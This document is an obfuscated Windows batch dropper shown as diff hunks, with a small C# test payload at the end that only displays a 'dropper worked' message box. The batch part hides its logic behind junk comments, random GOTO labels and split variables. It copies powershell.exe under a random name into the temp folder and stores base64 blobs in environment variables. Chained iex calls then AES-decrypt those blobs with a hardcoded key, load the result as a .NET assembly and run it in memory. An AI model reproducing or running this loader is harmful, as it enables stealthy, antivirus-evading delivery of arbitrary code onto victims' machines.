 %XukwN4NV%rem%f2Ar8JZo% larala diro lita ribo
 :SJcXZeoY2
 goto :BT337Q
 rem tala bado kiziba tidabo toba
 REM takizo patoti ritazizi
 REM torola palabi diro
 :P1rrdgaSvxc
 REM bapopo liti nopo mota
 :: robo pili databika nonalila bizalo diro zabara manibi
 REM kiramimi lanita nimazido pibotoli moli lori
 Rem bado zitinaki tatabipo nabi torodino nodokibi bizalo bokizalo
 rem kobi lamatibi nirazaki riramito nimazido
 :BT337Q
 %X7LS94nu%rem%BajjA5xW% mozi dilaboza diro roti tala pabi tapazi zali
 REM kotota liti bitima todaloma pibotoli nonola riramito kilanoza
 Rem zido zazaba mozi tapa mota
 :eClFnen
 %yx12cyJO%REM%HFgBhzpq% kotota torola rozozaza tina
 REM zazaba pato tika dilakomi
 :: manibi lazado pili ninimobi tika toba
 :: pili roti miba tatabipo narili patoti
 REM zakapi rimomo kanabo takizo kotota bikoza rilatipo liti
 %nJtFVv9I%Rem%J6mxjDYE% zozata kozadozo manibi zalazipo pabi
 :: nolaboka notiri rilatipo nozo
 Rem nonalila lodo ponimado nodokibi dipiziro tala
 REM zakapi rozoboba zazaba ropa
 %WuMHNleV%REM%KxTyeqWA% ripomoti tazakoka pokolo takizo zodi zalolopo doli
@@ -0,0 +1,181 @@
 echo UM > nul
 G%i4Wwoo%o%RO4zSb9WPx%TO :pS9)Kc
 %YBjgTgU%:: %Yomea1Q% favuloxexema jagezoyogi jugisibaj jocuvex zukeg pejulojoce coyiyehepec
 %fDQCK9rVMB%rem %oZc7ml3P% nowexed qup suyeno qegusa
 :pS9)Kc
@echo off
 G%mngTQ6JeZ3zf%o%BuWqqhmpRn%TO :Thf3ZKo
 %f8SrWiwAOz46%:: %uL3S9k% rev futaq moruzifabi lukafomagaj jajafemiqodu wicexawux
 R%S6qrGRi%em %SzxpVGVsstni% qonowana pepumufe gosovugoqiti moqeh nasoz bafutatakaci huxewanudu pixijak
 :Thf3ZKo
 r%sTEv1H0y6fvj%EM %oOkDidYJ4so% heniyih dey curacegege giliwe howajab
 g%ZCUa9aRmZvJ%O%gF98ddhx3%tO :c16Jd(Dew
 %zFBBgp%rEM %GinJ7T% macazop hafucohuz legopevayu muhegozupoj
 %uUTFxkHXdd%:: %e12kx65% koxeris yihitaxaq vij piduj qam xakecorasohi
 R%QEaNJFdub%eM %uXnUjK% zahoqiwabe verer kavihabice wike mebakasoso sukuyimubi wix cexuciyasesi ginayax
 :c16Jd(Dew
 :FG{T3QlC
 SEt "SPuz9o=nhost."
 SeT "yRwT5Plp=%windir%\"
 SEt "Okq8J6cyOK=Sysnativ"
 sEt "NaoPDav=e\co"
 SeT "XqPxdGG=exe"
 %ivn7HsUpUO%set "GhF05KG=SeT "
 SeT "eV4ZeoAp=YLrnaDie8="
 %GhF05KG%%eV4ZeoAp%%yRwT5Plp%%Okq8J6cyOK%%NaoPDav%%SPuz9o%%XqPxdGG%
 G%IS0Xhk25Gt%O%WeVQieKs2hr%tO :TNjsdL6(L
 %ARWpeUK88%:: %bcfmmo3q1% nozepaholire zuqakewelito muyoyuwo kevifatana qezo huj salusaz kuxege
 r%yQvaquU%Em %Z6BQBgsV% xuqowi hozegerito lubojatusogo jebob puwoloruhiwi viqixuyupip minojufib gumaruricev faz
 :TNjsdL6(L
 g%Tcmrod%o%tnDfMqFvyfH%To :yN0OmjpYer
 R%wC9HzYOy%em %A8NP2t2Bv% gemena pimemob rutatiqe wamala xocukiwofi pedon tayekalekep jubitemeku
 :yN0OmjpYer
 :xThBJWRN
 set "KUHX9ltd=if "
 Set "yAjInFlJ=exist "
 %noYesyzmKAfA%set "FV2dW5PX=%YLrnaDie8% "
 SEt "rf3ii0Y=SET "
 Set "fRXTEzU=YLrnaDie8="
 %KUHX9ltd%%yAjInFlJ%%FV2dW5PX%%rf3ii0Y%%fRXTEzU%%YLrnaDie8%
 g%CF4dh0%O%fKiNsSi1Pz1D%TO :hGex6z
 %gepmhkIe3B%rEm %R9D5FAC% cohitupinu pubayasafuc fepahoka kukilanu dek ducikaj derefelepin becicir vuf
 :hGex6z
 :gp3KUOr
 set "LpAf0=%windir%\"
 sET "vleK2=System32\co"
 G%ao77lftkcLl%O%XioFYuA9PfA%TO :E}[s1
 r%sp5Ubj7vN%em %xOYrOW% coxojasi jajacepezip qut cikexuduso puk
 R%fCCxSkK%em %XfN2GzEkIs% cine tezucuhalax qodoqaziko lazagavayaj vinixu
 R%mqwUyZnQ%em %iblKXakojdM% waboneqeb hov teqo noyevivul nufagobaq qayocupos citaqezey
 :E}[s1
 %GhF05KG%%eV4ZeoAp%%LpAf0%%vleK2%%SPuz9o%%XqPxdGG%
 g%yFYe61%O%IxvAzw2%TO :dfKHZermzr
 g%oxgcTWn%o%dwfhTwvJZPYG%To :kGY0f
 r%YZcwJUkG%em %OBq93I4Kan% xefefaxore nedivilu yodu calilicerec giwofofedadu burinez zetuziluduna
 :kGY0f
 %K0IvNjfAdf2%:: %Tr2oyAu7ewr1% buce wepecetub pakey yiwakalil rezifupidupe funama fezicavaho vux
 :dfKHZermzr
 :rrqpDby0RI
 SET "PgzYDy=OPu"
 %bNoVnQR6q%set "mFpPBD=Ep14bB"
 seT "ojCItpGY=.ex"
 SeT "q0M0InwV=e"
 Set "Bkhmsny=copy"
 g%wSjnLvY%O%qvKUdT%TO :b0fhbEPsX
 R%lKB74OV%EM %obIJPjSsl1UY% piqivo xeka gadekale siholozur vov ganuti
 %aUIGdWi8g1rw%rEM %XpVaLou% lukiz yorexu rune nupoc dazakupog fisayefa
 :b0fhbEPsX
 %TV8LgjX%set "rwar6=%tmp%\"
 %y4xCRuewUtn%SEt "iGC2FG= %YLrnaDie8% "
 %Bkhmsny%%iGC2FG%%rwar6%%PgzYDy%%mFpPBD%%ojCItpGY%%q0M0InwV%
 G%zy8NCRlO4m%O%KTswXKonjKkA%TO :JolkH
 %GgWhuZ%:: %OsVxJ4M58u% ferizidez lonomehet kimacowuyemo riqakesaciv guvulunuyos toyu raluzun tolebiholuna niqa
 %Ejz1U5PvQal%:: %UuffPyQ% nedupufaz hovobovate kepan teyadulu qar racesixu pinobiqatafi buf
 :JolkH
 :khZzMjXeQq
 SeT NI6HgwBglFW4=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
 seT VZZxiJ=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
 G%AZuFGEzpEr%O%uDBSt8%TO :loVbqSt
 r%G5bDS4W%em %tjGshdcrY4% nuxidi kobuqe noguvinisey
 :loVbqSt
 G%AB45xTb%o%TPy9axRKD%To :r0US_IJ6e
 %JKygEsf5%Rem %afplLP% hiquwufoqe gufomuyi muqafujojof
 r%ljipHy8NaiQb%eM %GtloPLHa9% golosumas gejayulizi gicoba dumo
 :r0US_IJ6e
 :K)sP6S
 SEt "Qwlbxl6uMum=NI6HgwBglFW4!"
 r%sPTHuR%EM %vk5cp37l% gacoyemoboxo wosul kimewemuhehu xaf qaherosenebu
 G%Qzy4SxGrE0%o%JO165kjs%to :jKEfEV
 R%cKQvAzMWx%em %Ni16PInwgT2% qupubedob wowaroyike nibetekur jafifasoma levamosujovo hilunupero zabatic civ ridale sujar
 :jKEfEV
 SET "PxCEnrjV3Qj=VZZxiJ"
 %FPCy3zSS%rem %nmTtWJi0Gbpp% wabelizuluzo tutibovera meci zehijezoci lupakaj qixeyi cacefi zivafo qofef bebofewu
 g%JjzzDfOfNq%O%ouapIVn%TO :h8Lck
 r%KoNAfGG%eM %Q8hYqI8ZC14X% jirefejuyap wida yahorefubo jasuyi naw yinahot juzukayalowa qofopexige
 :h8Lck
 SeT "r922dS02=%Qwlbxl6uMum%%PxCEnrjV3Qj%"
 G%smeOOSl%o%B7ewuLQx8I%to :Wcm9pelZIt
 %EIxjjUXr%rem %qlJlGZfiA1D% xojepujikini loqewazovoy qukud nusorej weyiduzoqoh
 %ankOES%REm %A4goDtAkL% hexibufipen vepa xogo denobeda pufogideroyo cavemogeti sogu yeceqas raq fer
 :Wcm9pelZIt
 G%acYlbdrF%o%INX8eR12%tO :LJPMn}
 g%zecz2YC%O%V6aQvBZfjcqc%To :iai]VvPw3
 r%yf9xI4R2%Em %vLnz5Jxv2b27% vamumeyusi zomadunive fatog pufeciru
 :iai]VvPw3
 %ikPBtjbY%Rem %rZOPfaCO% meliyoga xowiy ruropizu qevurid jiniq
 :LJPMn}
 :vHJb2c
 %n9663qhb%SEt "aRONYbr=$cGMai3NZF = [System.Security.Crypto%cQgAVh9YPr%graphy.AESCryptoS%MNpIr%erviceProvid%vXkQx%er]::new();$cGMai3NZF.MoDe = [System.Security.C%VFuGUpNvNf%ryptogra%ooVFSdr%phy.CipherMode]::cbC;$cGMai3NZF.paD%lqeIrZ%ding = [%NBLzg85r9%System.Se%jLTug%c%ULIrx%urity.Cryptography.PaddingMode]::PKcS7;$cGMai3NZF.kEy = [byte[]]@(115,92,186,245,6,18,128,19,82,112,3,54,130,174,76,56,134,9,208,64,26,48,193,192,50,96,36,30,47,151,152,130);%uw2BBqnsQp%$pFYImD = [%zrR9er3%Convert%g5lYF%]::FromBase64String(-join ($env:r922dS02.Split('!')).For%DOtFu%Each({(Get-Item "env:$_").Value}));$cGMai3NZF.IV = $pFYImD[0..15];$CulggDU=$cGMai3NZF.cREAtEDecRypTOR();$sELNt5=$CulggDU.tRANsfORmfInaLBLock($pFYImD[16..$pFYImD.Length], 0,$pFYImD.LenGT%HotyWCmnXp%H-16);$BRNze8B7 =[System.Reflection.Assembly]::lOaD($sELNt5%AdVVKT0aP%);$BRNze8B7.eNt%W4UgNGH%RYPoI%XE4ckiLLjB%NT.Invoke($null, $null);"
 G%ZctziB6jOBnF%O%py7dSy45TA%to :el)eZw5vG
 %Mq923yLSO%:: %tEkOjFWv% pazicu dobi dewik jon solocawudun
 %HhVJkomWeOvy%rEm %mgsszJbTdo% qasejuyisade nuxa neyow nerajarewi fayepelozi wiyahutir leviwovu lugocuxocazi lanejuce
 g%UhZModgM4%o%E0owf5%TO :Q8F3h({}M
 %KQR9k6%:: %l3NDzA% seger jonatazi lojuboduya fuqevijor hetexewezu biremaloyat
 :Q8F3h({}M
 R%F61XUuftphT%EM %lWGqrH39a% hitija miguwifigu pogoqewetute fejasoparew qevoyari funo nobilavunuju haxekewiq
 :el)eZw5vG
 set "tEUIeOIm=iex $env:aRONYbr"
 G%a0YgR9wD%o%quAUEODa2Ic2%to :cNPB(D8
 %Vw0IMxx%rem %U96vkW% gihofe mopumi dicawoxapope yew gef jagotak cahuyen hakewifaxi koxejucukaq quyu
 G%ALAWXR%o%IVhYlEXJZ%To :ED}3J
 %eTZD2V%ReM %nHQA7tXoq% wobu wuzukefexa xuvihebon xalomin jomaciy cujohabobi luwuwuz xigotojep
 :ED}3J
 %R0TYku56%:: %bHX3L7% giyifemi rad feresamoq
 g%h9H6T3pPJ%O%TDnpe0LTFZ%TO :GQnjJ9c
 r%MDOYEVILexmE%Em %n3Qjn65XpVH% wameyemume wimedos litamefexapa kekojupuziva mavosigifa raqedu
 R%RYcd3xkvFO%em %aw3Zl3TemCb% migivotop pokaki wiwihowosef mipijiderazi nahehiyibuto xaxe xezugegima rilajiwe zicedo
 %STwk1mBlL7o%:: %WTapUzo% biyazo turiruxud picuxohic femuloq sega vik buyad
 :GQnjJ9c
 :cNPB(D8
 G%aQPDLbTMfP%O%KPPMgdUBum3%to :rFi{wW
 %EStePrH9U5%:: %BJ6SiMLxq% qukafiva yehunafuduzu xih gel nugix sixaxezuni vasunanodimi
 r%H1zw2iyFd4%EM %gziycs0H% xuhedop tojanomofova guv
 %cE6T28G%:: %OHv8xTT% yamifaqelivi difuz hole yotekowu zuxotuzejip
 :rFi{wW
 Set "B0DQdcd=$mvfA1SV6b7 = [ScriptBlock]::Create('').Ast; $FXoBC7 = [System.Management.Automation.Language.ScriptBlockAst]::new($mvfA1SV6b7.Extent,$null,$null,$null,$FXoBC7.EndBlock.Copy(),$null); iex $env:tEUIeOIm"
 g%MGLH5Izfc%o%jplkicbDdZWy%To :s(5PS(i
 %IvYeh1Q3Zbsg%:: %ZR2DG92fg% titozine yebodabojena zuxociluju natecowi tuyatopiwuza fipip likupas
 r%ky1as4ZDt2H%Em %qBKKOJX% yiworen cequmalay kube cewulufukih domelupazija lanan xiku
 %kAblPu%:: %QAC0NmBCoRJ% yad muludu gaxiderotohi qolayuge gifonagar yafajawediw sisomiba fiwucilam
 :s(5PS(i
 sEt "NijWO3s=$G77EhKvG = [ScriptBlock]::Create('').Ast; iex $env:B0DQdcd"
 g%kx8CeYpHt%o%zl9Lke4oShkm%TO :OLyvj6}
 %q5mhWAbpa5%:: %znFdlj% xivuded poleqiqayaz wucewe pikira vur vesewopur larixa jobinawaca
 %stTccv8PDrHG%rEm %XrOzMTU% kapo dicizuxucim hogome qihisidabuk rupabubo dinixukuqi sawuculuqok qupof modijeyomen
 :OLyvj6}
 %OygaYAMY%set "ItL7d9OQ=Start-Sleep -Seconds 1;iex $env:NijWO3s"
 g%lVeR6D%o%cg4Ge4c4MLF%To :zQ)L_
 R%FEbRCXSx%Em %rX7fnLD% hejipit yuqoviv vavo foyu gip qiti meqot
 %istH4CuI%ReM %huprhWwUL7% cax gipet doyonaz bakex fuq
 :zQ)L_
 G%TDlDMnPtBC4%O%Riig8iN3Z%TO :MUy8[}
 r%uRSqCZ%Em %zIgZ38% pigiheromawo cafili yoxiv mopoviqugika febetoja
 :MUy8[}
 %qIrWv8sIK9l%set "PkiLljG=$i8Kkys = 'placeholder'; iex $env:ItL7d9OQ"
 G%kUHAEBzPj8%o%tlkNnh2NTC%TO :OrZ]k}VB2
 %f4qkXogNPx7e%REm %OUaS2qp% kuxegufaz cepo sezu gokawaqul
 %ZrJDSaVZdpZ%:: %zujzOrskcTB% lafefuyixaf dataga vewo hiba
 %cdUGNVD%REm %CFGs8W% mizacu sidaxe qazibutifime howewu gemalac
 :OrZ]k}VB2
 :kQ9UE
 %uK5D8TVG%SEt "ioiv9Gfy=iex $env:PkiLljG"
 g%rBGGa8%o%bvDtAoYJG2%To :TbRvpTY
 g%keXHI4G2t%O%zzyp2l960%to :g0BIR1}E
 %UvmdVmmvGZKu%Rem %rxYmhC2epuuG% kecocipapido las venori
 R%n9I7gp%em %cafxrKOmC7% nerocux xuqa kizeyoh sonutu nugoyate rataluxetiw nuk mozotaxap kisu xuzob
 :g0BIR1}E
 %N75ocw%REm %Q6MkZXkqdmY% ziyez seqowigusutu xiciqob zugaj hayid rolefo zocipakog quj favuhuci
 %los3b4Mc3%rEm %I4T8K7z2p% mikajobunumi caqehi zumugucegi yofuj faqe vitudi
 :TbRvpTY
 start %tmp%\OPuEp14bB.exe --headless powershell -c %ioiv9Gfy%
 g%RCEz21%O%emFxDTwUDH%To :G0B4RPSl
 %PzEF3Jy%REm %NwlkpYfrY2n% vacijinec vata yotur lamifemobiya vupano pireyofihe jerejorixa wuy
 %KR37LxqHzt5z%REm %iZzgmyZjONQW% sixeset tejo fesacisefuce lovuvekanen copetifiwu payujecuhad riricunelah kenenayayo zolowixef caj
 %Cj4L3I%:: %XFPJOT% hahobeligim lalopato tetadalih
 %uP1M4WZc6%:: %b3o3hBj2Nq5Z% zokogip duqo zibawihot popamen horusatu qujiko
 %hsK9QyiM4%REm %BAbON8uHT% qudufene lilopikohi joravaj delez
 %FwFE5yeDAm%REm %fpn9UQSK% suze heya saf wuyoma kuyibog wexufegito rug gizusa liwapo
 r%f67A3NxdQV%Em %XKcC2bD5M% kefuqabozom junu seceboqorubi garuxir wohuzey ziyuse sisocugawuji
 R%AvmrYNr5G%eM %fXNkrc7FI% mumevoranaqa yabivekede kasehig ric
 :G0B4RPSl
@@ -0,0 +1,11 @@
 using System;
 using System.Windows.Forms;
 class Program
 {
    [STAThread]
    static void Main()
    {
        MessageBox.Show("hello from .NET payload!\n\nIf you see this, the dropper worked.", "payload executed", MessageBoxButtons.OK, MessageBoxIcon.Information);
    }
 }